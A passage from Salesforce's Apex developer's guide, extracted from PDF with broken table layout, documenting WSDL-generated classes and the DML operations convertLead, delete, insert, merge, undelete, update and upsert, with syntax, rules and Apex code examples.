Note the following mappings from the original WSDL document: The WSDL target namespace maps to the Apex class name. Each complex type becomes a class. Each element in the type is a public field in the class. The WSDL port name maps to the stub class. Each operation in the WSDL maps to a public method.

The class generated above can be used to invoke external Web services. The following code shows how to call the echoString method on the external server:
docSample.DocSamplePort stub = new docSample.DocSamplePort(); String input = 'This is the input string'; String output = stub.EchoString(input);

Considerations Using WSDLs

Be aware of the following when generating Apex classes from a WSDL. Mapping Headers Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit and .Net works. Understanding Runtime Events The following checks are performed when an Apex script is making a callout to an external service. The request size must be smaller than 100 Kb. The response size must be smaller than 100 Kb. See Callout Timeouts for information on the timeout limits when making an HTTP request or a Web services call. Circular references in Apex classes are not allowed. More than one loopback connection to Salesforce.com domains is not allowed.

186

Apex Web Service Integration

Considerations Using WSDLs

To allow an endpoint to be accessed, it should be registered in Setup Security Remote Site Settings. No transactions can be open, to prevent database connections from being held up.

Understanding Unsupported Characters in Variable Names A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when generating Apex variable names from a WSDL file: If the first character of an element name is not alphabetic, an x character is prepended to the generated Apex variable name. If the last character of an element name is not allowed in an Apex variable name, an x character is appended to the generated Apex variable name. If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an underscore (_) character. If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is replaced with an underscore (_) character and the second one is replaced with an x character. This avoids generating a variable name with two successive underscores, which is not allowed in Apex. Suppose you have an operation that takes two parameters, a_ and a_x. The generated Apex has two variables, both named a_x. The class will not compile. You must manually edit the Apex and change one of the variable names.

Debugging Classes Generated from WSDL Files Salesforce.com tests code with Force.com Web Services, .Net, and Axis. If you use other tools, you may encounter issues. You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems. For more information, see Web Services API Calls and SOAP Headers for Apex on page 387.

187

Chapter 12
Reference
In this chapter ... Apex Data Manipulation Language (DML) Operations Apex Standard Classes and Methods Apex Classes
The Apex reference contains information about the Apex language. Data manipulation language (DML) operationsused to manipulate data in the database Standard classes and methodsavailable for primitive data types, collections, sObjects, and other parts of Apex Apex classesprebuilt classes available for your use

188

Reference

Apex Data Manipulation Language (DML) Operations

Apex Data Manipulation Language (DML) Operations

Use data manipulation language (DML) operations to retrieve, insert, delete, and update data in a database. You can execute DML operations using two different forms: Apex DML statements, such as:
insert SObject[]

Apex DML database methods, such as:

Database.SaveResult[] result = Database.Insert(SObject[])

While most DML operations are available in either form, some exist only in one form or the other. The different DML operation forms enable different types of exception processing: Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most database procedural languages. Use DML database methods if you want to allow partial success of a bulk DML operationif a record fails, the remainder of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge success or failure. Note that DML database methods also include a syntax that supports thrown exceptions, similar to DML statements.

The following Apex DML operations are available:

convertLead1 delete insert merge2 undelete update upsert

System Context and Sharing Rules Most DML operations execute in system context, ignoring the current user's profile permissions, field-level security, organization-wide defaults, position in the role hierarchy, and sharing rules. However, when a DML operation is called in a class defined with the with sharing keywords, the current user's sharing rules are taken into account. For more information, see Using the with sharing or without sharing Keywords on page 105. String Field Truncation and API Version Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

1 2

convertLead is only available as a database method. merge is only available as an Apex DML statement.

189

Reference

ConvertLead Operation

ConvertLead Operation
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. Note: convertLead is only available as a database method.

Database Method Syntax LeadConvertResult Database.convertLead(LeadConvert leadToConvert, Boolean opt_allOrNone) LeadConvertResult[] Database.convertLead(LeadConvert[] leadsToConvert, Boolean opt_allOrNone)

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Rules and Guidelines When converting leads, consider the following rules and guidelines: Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom lead fields, your Salesforce.com administrator can specify how they map to custom account, contact, and opportunity fields. For more information about field mappings, see the Salesforce.com online help. Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are overwrittenexisting data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the contents of the LeadSource field in the source LeadConvert object. Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion. If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more information about record types, see the Salesforce.com online help. Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of the new record owner.

Basic Steps for Converting Leads Converting leads involves the following basic steps: 1. Your application determines the IDs of any lead(s) to be converted. 2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to search for accounts that match the lead name, as in the following example:
select id, name from account where name='CompanyNameOfLeadBeingMerged'

3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use SOQL to search for contacts that match the lead contact name, as in the following example:
select id, name from contact where firstName='FirstName' and lastName='LastName' and accountId = '001...'

4. Optionally, the application determines whether opportunities should be created from the leads.

190

Reference

ConvertLead Operation

5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status. 6. The application calls convertLead. 7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether conversion succeeded for each lead. 8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner. LeadConvert Object Methods The convertLead database method accepts up to 100 LeadConvert objects. A LeadConvert object supports the following methods: Name
setAccountId

Type ID

Description Sets the ID of the account into which the lead will be merged. This value is required only when updating an existing account, including person accounts. Otherwise, if setAccountID is specified, a new account is created. Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact. Important: If you are converting a lead into a person account, do not specify setContactId or an error will result. Specify only setAccountId of the person account. If setContactID is specified, then the application creates a new contact that is implicitly associated with the account. The contact name and other existing data are not overwritten (unless setOverwriteLeadSource is set to true, in which case only the LeadSource field is overwritten).

setContactId

ID

setConvertedStatus

String

Sets the lead status value for a converted lead. This field is required. Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default. Set this flag to true only if you do not want to create an opportunity from the lead. Sets the ID of the lead to convert. This field is required. Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead. The maximum length of this field is 80 characters. If setDoNotCreateOpportunity is true, no Opportunity is created and this field must be left blank; otherwise, an error is returned. Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify setContactId for the target contact. Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value,

setDoNotCreateOpportunity Boolean

setLeadId setOpportunityName

ID String

setOverwriteLeadSource

Boolean

setOwnerId

ID

191

Reference

ConvertLead Operation

Name

Type

Description the owner of the new object will be the owner of the lead. This method is not applicable when merging with existing objectsif setOwnerId is specified, the ownerId field is not overwritten in an existing account or contact.

setSendNotificationEmail Boolean

Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not send email.

LeadConvertResult Object An array of LeadConvertResult objects is returned with the convertLead database method. Each element in the LeadConvertResult array corresponds to the SObject array passed as the SObject[] parameter in the convertLead database method, that is, the first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds with the second element, and so on. If only one SObject is passed in, the LeadConvertResults array contains a single element. A LeadConvertResult object has the following methods: Name
getAccountId

Type ID

Description The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked

getContactId

ID

getErrors

Database.Error If an error occurred, an array of one or more database error []Database.Error [] objects providing the error code and description. For more information, see Database Error Object Methods on page 267. ID ID Boolean The ID of the converted lead The ID of the new opportunity, if one was created when convertLead was invoked A Boolean value that is set to true if the DML operation was successful for this object, false otherwise

getLeadId getOpportunityId

isSuccess

Database Method Example

Lead myLead = new Lead(lastname = 'Fry', company='Fry And Sons'); insert myLead; Database.LeadConvert lc = new database.LeadConvert(); lc.setLeadId(myLead.id); LeadStatus convertStatus = [Select Id, MasterLabel from LeadStatus where IsConverted=true limit 1]; lc.setConvertedStatus(convertStatus.MasterLabel); Database.LeadConvertResult lcr = Database.convertLead(lc); System.assert(lcr.isSuccess());

192

Reference

Delete Operation

Delete Operation
The delete DML operation deletes one or more existing sObject records, such as individual accounts or contacts, from your organizations data. delete is analogous to the delete() statement in the Force.com Web Services API. DML Statement Syntax
delete sObject | Record.ID

Database Method Syntax DeleteResult Database.Delete((sObject recordToDelete | RecordID ID), Boolean opt_allOrNone) DeleteResult[]Database. Delete((sObject[] recordsToDelete | RecordIDs LIST:IDs{}), Boolean opt_allOrNone)

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Rules and Guidelines When deleting sObject records, consider the following rules and guidelines: To ensure referential integrity, delete supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as each child record can be deleted. For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent case record fails. Certain sObjects cannot be deleted. To delete an sObject record, the deletable property of the sObject must be set to true. Also, see sObjects That Do Not Support DML Operations on page 205. You can pass a maximum of 200 sObject records to a single delete method.

DeleteResult Object An array of Database.DeleteResult objects is returned with the delete database method. Each element in the DeleteResult array corresponds to the sObject array passed as the sObject[] parameter in the delete database method, that is, the first element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the DeleteResults array contains a single element. A Database.DeleteResult object has the following methods: Name
getErrors

Type

Description

Database.Error If an error occurred, an array of one or more database error objects [] providing the error code and description. For more information, see Database Error Object Methods on page 267. ID The ID of the sObject you were trying to delete. If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object. A Boolean value that is set to true if the DML operation was successful for this object, false otherwise

getId

isSuccess

Boolean

193

Reference

Insert Operation

DML Statement Example The following example deletes an account named 'DotCom':
Account[] doomedAccts = [select id, name from account where name = 'DotCom']; try { delete doomedAccts; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 206.

Database Method Example The following example deletes an account named 'DotCom':
public class DmlTest { Account[] doomedAccts = [select id, name from account where name = 'DotCom']; Database.DeleteResult[] DR_Dels = Database.delete(doomedAccts); }

Insert Operation
The insert DML operation adds one or more sObjects, such as individual accounts or contacts, to your organizations data. insert is analogous to the INSERT statement in SQL. DML Statement Syntax
insert sObject insert sObject[]

Database Method Syntax SaveResult Database.insert(sObject recordToInsert, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions) SaveResult[] Database.insert(sObject[] recordsToInsert, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions)

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For example:
Database.SaveResult[] MySaveResult = Database.Insert(MyAccounts, false);

The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. For example:
//AssignmentRuleHeader //UseDefaultRule

194

Reference

Insert Operation

database.DMLOptions dmo = new database.DMLOptions(); dmo.AssignmentRuleHeader.UseDefaultRule= true; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo); insert l;

For more information, see Database DMLOptions Methods on page 264. Rules and Guidelines When inserting sObject records, consider the following rules and guidelines: Certain sObjects cannot be created. To create an sObject record, the createable property of the sObject must be set to true. You must supply a non-null value for all required fields. You can pass a maximum of 200 sObject records to a single insert method. The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an IDand therefore already exists in your organization's dataproduces an error. See Lists on page 33 for information. The insert statement can only set the foreign key ID of related sObject records. Fields on related records cannot be updated with insert. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However, you cannot change the account's name without updating the account itself with a separate DML call. The insert statement is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 205. This operation checks each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following: Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts.

SaveResult Object An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array corresponds to the sObject array passed as the sObject[] parameter in the database method, that is, the first element in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the SaveResults array contains a single element. A SaveResult object has the following methods: Name
getErrors

Type Database.Error []

Description If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 267. The ID of the sObject you were trying to insert or update. If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for that object.

getId

ID

195

Reference

Merge Statement

Name
isSuccess

Type Boolean

Description A Boolean that is set to true if the DML operation was successful for this object, false otherwise.

DML Statement Example The following example inserts an account named 'Acme':
Account newAcct = new Account(name = 'Acme'); try { insert newAcct; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 206.

Database Method Example The following example inserts an account named 'Acme':
Account a = new Account(name = 'Acme'); Database.SaveResult[] lsr = Database.insert(new Account[]{a, new Account(name = 'Acme')}, false); // Iterate through the Save Results for(Database.SaveResult sr:lsr){ if(!sr.isSuccess()) Database.Error err = sr.getErrors()[0]; }

Merge Statement
The merge statement merges up to three records of the same sObject type into one of the records, deleting the others, and re-parenting any related records. Note: This DML operation does not have a matching database system method.

Syntax
merge sObject sObject merge sObject sObject[] merge sObject ID merge sObject ID[]

The first parameter represents the master record into which the other records are to be merged. The second parameter represents the one or two other records that should be merged and then deleted. You can pass these other records into the merge statement as a single sObject record or ID, or as a list of two sObject records or IDs.

196

Reference

Undelete Operation

Rules and Guidelines When merging sObject records, consider the following rules and guidelines: Only leads, contacts, and accounts can be merged. See sObjects That Do Not Support DML Operations on page 205. You can pass a master record and up to two additional sObject records to a single merge method.

For more information on merging leads, contacts and accounts, see the Salesforce.com online help. Example The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:
List<Account> ls = new List<Account>{new Account(name='Acme Inc.'),new Account(name='Acme')}; insert ls; Account masterAcct = [select id, name from account where name = 'Acme Inc.' limit 1]; Account mergeAcct = [select id, name from account where name = 'Acme' limit 1]; try { merge masterAcct mergeAcct; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 206.

Undelete Operation
The undelete DML operation restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin. undelete is analogous to the UNDELETE statement in SQL. DML Statement Syntax
undelete sObject | Record.ID undelete sObject[] | LIST:ID[]

Database Method Syntax UndeleteResult Database.Undelete((sObject recordToUndelete | RecordID ID), Boolean opt_allOrNone) UndeleteResult[] Database.Undelete((sObject[] recordsToUndelete | RecordIDs LIST:IDs{}), Boolean opt_allOrNone)

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Rules and Guidelines When undeleting sObject records, consider the following rules and guidelines: To ensure referential integrity, undelete restores the record associations for the following types of relationships: Parent accounts (as specified in the Parent Account field on an account) Parent cases (as specified in the Parent Case field on a case) Master solutions for translated solutions (as specified in the Master Solution field on a solution) Managers of contacts (as specified in the Reports To field on a contact)

197

Reference

Undelete Operation

Products related to assets (as specified in the Product field on an asset) All custom lookup relationships Relationship group members on accounts and relationship groups, with some exceptions. For information on these exceptions, see Removing Members from Relationship Group Members in the Salesforce.com online help. Tags Note: Salesforce.com only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Certain sObjects cannot be undeleted. To verify if an sObject record can be undeleted, check that the undeletable property of the sObject is set to true. You can pass a maximum of 200 sObject records to a single undelete method. You can undelete records that were deleted as the result of a merge, but the child objects will have been re-parented, which cannot be undone. Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge. See Querying All Records with a SOQL Statement on page 60. Undelete is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 205.

UndeleteResult Object An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the UndeleteResult array corresponds to the sObject array passed as the sObject[] parameter in the undelete database method, that is, the first element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element. An undeleteResult object has the following methods: Name
getErrors

Type Database.Error []

Description If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 267. The ID of the sObject you were trying to undelete. If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object. A Boolean value that is set to true if the DML operation was successful for this object, false otherwise

getId

ID

isSuccess

Boolean

DML Statement Example The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.
Account a = new Account(name='AC1'); insert(a); insert(new Contact(lastName='Carter',accountId=a.id));

198

Reference

Update Operation

Account[] savedAccts = [select id, name from account where name = 'Trump' ALL ROWS]; try { undelete savedAccts; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 206.

Database Method Example The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.
public class DmlTest2 { public void undeleteExample() { Account[] SavedAccts = [select id, name from account where name = 'Trump' ALL ROWS]; Database.UndeleteResult[] UDR_Dels = Database.undelete(SavedAccts); for(integer i =0; i< 10; i++) if(UDR_Dels[i].getErrors().size()>0){ // Process any errors here } } }

Update Operation
The update DML operation modifies one or more existing sObject records, such as individual accounts or contacts, in your organizations data. update is analogous to the UPDATE statement in SQL. DML Statement Syntax
update sObject update sObject[]

Database Method Syntax UpdateResult Update(sObject recordToUpdate, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions) UpdateResult[] Update(sObject[] recordsToUpdate[], Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions)

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. For more information, see Database DMLOptions Methods on page 264. Rules and Guidelines When updating sObject records, consider the following rules and guidelines:

199

Reference

Update Operation

Certain sObjects cannot be updated. To update an sObject record, the updateable property of the sObject must be set to true. When updating required fields you must supply a non-null value. Unlike the Force.com Web Services API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because Apex runs solely on the Force.com platform, this workaround is unnecessary. The ID of an updated sObject record cannot be modified, but related record IDs can. This operation checks each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following: Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts. The update statement automatically modifies the values of certain fields such as LastModifiedDate, LastModifiedById, and SystemModstamp. You cannot explicitly specify these values in your Apex scripts. You can pass a maximum of 200 sObject records to a single update method. A single update statement can only modify one type of sObject at a time. For example, if updating an account field through an existing contact that has also been modified, two update statements are required:
// Use a SOQL query to access data for a contact Contact c = [select account.name from contact where lastName = 'Carter' limit 1]; // Now we can change fields for both the contact and its // associated account c.account.name = 'salesforce.com'; c.lastName = 'Roth'; // To update the database, the two types of records must be // updated separately update c; // This only changes the contact's last name update c.account; // This updates the account name

Update is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 205.

SaveResult Object An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array corresponds to the sObject array passed as the sObject[] parameter in the database method, that is, the first element in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the SaveResults array contains a single element. A SaveResult object has the following methods: Name
getErrors

Type Database.Error []

Description If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 267. The ID of the sObject you were trying to insert or update. If this field contains a value, the object was successfully inserted or updated. If this field is empty,

getId

ID

200

Reference

Upsert Operation

Name

Type

Description the operation was not successful for that object.

isSuccess

Boolean

A Boolean that is set to true if the DML operation was successful for this object, false otherwise.

DML Statement Example The following example updates the billingcity field on a single account named 'Acme':
Account a = new Account(name='Acme2'); insert(a); Account myAcct = [select id, name, billingcity from account where name = 'Acme2' limit 1]; myAcct.billingcity = 'San Francisco'; try { update myAcct; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 206.

Database Method Example The following example updates the billingcity field on a single account named 'Acme':
Account myAcct = [select id, name, billingcity from account limit 1]; myAcct.billingcity = 'San Francisco'; Database.SaveResult SR = database.update(myAcct); for(Database.Error err: SR.getErrors()) { // process any errors here }

Upsert Operation
The upsert DML operation creates new sObject records and updates existing sObject records within a single statement, using an optional custom field to determine the presence of existing objects. DML Statement Syntax
upsert sObject opt_external_id upsert sObject[] opt_external_id
opt_external_id is an optional variable that specifies the custom field that should be used to match records that already exist in your organization's data. This custom field must be created with the External Id attribute selected. Additionally, if the field does not have the Unique attribute selected, the context user must have the View All object-level permission for the target object or the View All Data permission so that upsert does not accidentally insert a duplicate record.

If opt_external_id is not specified, the sObject record's ID field is used by default.

201

Reference

Upsert Operation

Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, ABC123 is matched with abc123. For more information, see Adding Fields and Relationships in the Salesforce.com online help. Database Method Syntax UpsertResult Database.Upsert(sObject recordToUpsert, Schema.SObjectField External_ID_Field, Boolean opt_allOrNone) UpsertResult[] Database.Upsert(sObject[] recordsToUpsert, Schema.SObjectField External_ID_Field, Boolean opt_allOrNone)

The optional External_ID_Field parameter is an optional variable that specifies the custom field that should be used to match records that already exist in your organization's data. This custom field must be created with the External Id attribute selected. Additionally, if the field does not have the Unique attribute selected, the context user must have the View All object-level permission for the target object or the View All Data permission so that upsert does not accidentally insert a duplicate record. The External_ID_Field is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. If External_ID_Field is not specified, the sObject record's ID field is used by default. Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, ABC123 is matched with abc123. For more information, see Adding Fields and Relationships in the Salesforce.com online help. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. How Upsert Chooses to Insert or Update Upsert uses the sObject record's primary key (or the external ID, if specified) to determine whether it should create a new object record or update an existing one: If the key is not matched, then a new object record is created. If the key is matched once, then the existing object record is updated. If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.

Rules and Guidelines When upserting sObject records, consider the following rules and guidelines: Certain sObjects cannot be inserted or updated. To insert an sObject record, the createable property of the sObject must be set to true. To update an sObject record, the updateable property of the sObject must be set to true. You must supply a non-null value for all required fields on any record that will be inserted. The ID of an sObject record cannot be modified, but related record IDs can. This action is interpreted as an update. The upsert statement automatically modifies the values of certain fields such as LastModifiedDate, LastModifiedById, and SystemModstamp. You cannot explicitly specify these values in your Apex scripts. Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 200 records and all of them are being updated, you receive an error. (See Understanding Execution Governors and Limits on page 166)

202

Reference

Upsert Operation

The upsert statement can only set the ID of related sObject records. Fields on related records cannot be modified with upsert. For example, if updating an existing contact, you can specify the contact's related account record by setting the value of the AccountId field. However, you cannot change the account's name without updating the account itself with a separate DML statement. Upsert is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 205. You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see http://www.salesforce.com/us/developer/docs/api/index_CSH.htm#field_types.htm in the Force.com Web Services API Developer's Guide.

UpsertResult Object An array of Database.UpsertResult objects is returned with the upsert database method. Each element in the UpsertResult array corresponds to the sObject array passed as the sObject[] parameter in the upsert database method, that is, the first element in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UpsertResults array contains a single element. An UpsertResult object has the following methods: Name
getErrors

Type Database.Error []

Description If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 267. The ID of the sObject you were trying to update or insert. If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for that object. A Boolean value that is set to true if the record was created, false if the record was updated. A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

getId

ID

isCreated

Boolean

isSuccess

Boolean

DML Statement Examples The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a new account located in San Francisco:
Account[] acctsList = [select id, name, billingcity from account where billingcity = 'Bombay']; for (Account a : acctsList) { a.billingcity = 'Mumbai'; } Account newAcct = new Account(name = 'Acme', billingcity = 'San Francisco'); acctsList.add(newAcct); try { upsert acctsList; } catch (DmlException e) {

203

Reference

Upsert Operation

// Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 206.

This next example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship between an asset and an opportunity line item. Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor limits (see Understanding Execution Governors and Limits on page 166). Note: This example requires the addition of a custom text field on the Asset object named Line_Item_Id__c. This field must be flagged as an external ID. For information on custom fields, see the Salesforce.com online help.

public void upsertExample() { Opportunity opp = [Select Id, Name, AccountId, (Select Id, PricebookEntry.Product2Id, PricebookEntry.Name From OpportunityLineItems) From Opportunity Where HasOpportunityLineItem = true Limit 1]; Asset[] assets = new Asset[]{}; // Create an asset for each line item on the opportunity for (OpportunityLineItem lineItem:opp.OpportunityLineItems) { //This code populates the line item Id, AccountId, and Product2Id for each asset Asset asset = new Asset(Name = lineItem.PricebookEntry.Name, Line_Item_ID__c = lineItem.Id, AccountId = opp.AccountId, Product2Id = lineItem.PricebookEntry.Product2Id); assets.add(asset); } try { upsert assets Line_Item_ID__c; // // // // This line upserts the assets list with the Line_Item_Id__c field specified as the Asset field that should be used for matching the record that should be upserted.

} catch (DmlException e) { System.debug(e.getMessage()); } }

DML Statement Example The following is an example that uses the database upsert method:
/* This class demonstrates and tests the use of the * partial processing DML operations */ public class dmlSamples { /* This method accepts a collection of lead records and creates a task for the owner(s) of any leads that were created as new, that is, not updated as a result of the upsert operation */ public static List<Database.upsertResult> upsertLeads(List<Lead> leads)

204

Reference

sObjects That Do Not Support DML Operations

/* Perform the upsert. In this case the unique identifier for the insert or update decision is the Salesforce record ID. If the record ID is null the row will be inserted, otherwise an update will be attempted. */ List<Database.upsertResult> uResults = Database.upsert(leads,false); /* This is the list for new tasks that will be inserted when new leads are created. */ List<Task> tasks = new List<Task>(); for(Database.upsertResult result:uResults) { if (result.isSuccess() && result.isCreated()) tasks.add(new Task(subject = 'Follow-up', whoId = result.getId())); } /* If there are tasks to be inserted, insert them */ Database.insert(tasks); return uResults; } public static testMethod void testUpsertLeads() { /* We only need to test the insert side of upsert */ List<Lead> leads = new List<Lead>(); /* Create a set of leads for testing */ for(Integer i = 0;i < 100; i++) { leads.add(new Lead(lastName = 'testLead', company = 'testCompany')); } /* Switch to the runtime limit context */ Test.startTest(); /* Exercise the method */ List<Database.upsertResult> results = DmlSamples.upsertLeads(leads); /* Switch back to the test context for limits */ Test.stopTest(); /* ID set for asserting the tasks were created as expected */ Set<Id> ids = new Set<Id>(); /* Iterate over the results, asserting success and adding the new ID to the set for use in the comprehensive assertion phase below. */ for(Database.upsertResult result:results) { System.assert(result.isSuccess()); ids.add(result.getId()); } /* Assert that exactly one task exists for each lead that was inserted. */ for(Lead l:[select id, (select subject from Tasks) from lead where Id in :ids]) { System.assertEquals(1,l.tasks.size()); } } }

sObjects That Do Not Support DML Operations

DML operations are not supported with the following sObjects in Apex: AccountTerritoryAssignmentRule AccountTerritoryAssignmentRuleItem ApexComponent

205

Reference

sObjects That Cannot Be Used Together in DML Operations

ApexPage BusinessHours BusinessProcess CategoryNode CurrencyType DatedConversionRate ProcessInstance* Profile RecordType SelfServiceUser* StaticResource UserAccountTeamMember UserTerritory WebLink

* You cannot create, update or delete these sObjects in the Force.com Web Services API.

sObjects That Cannot Be Used Together in DML Operations

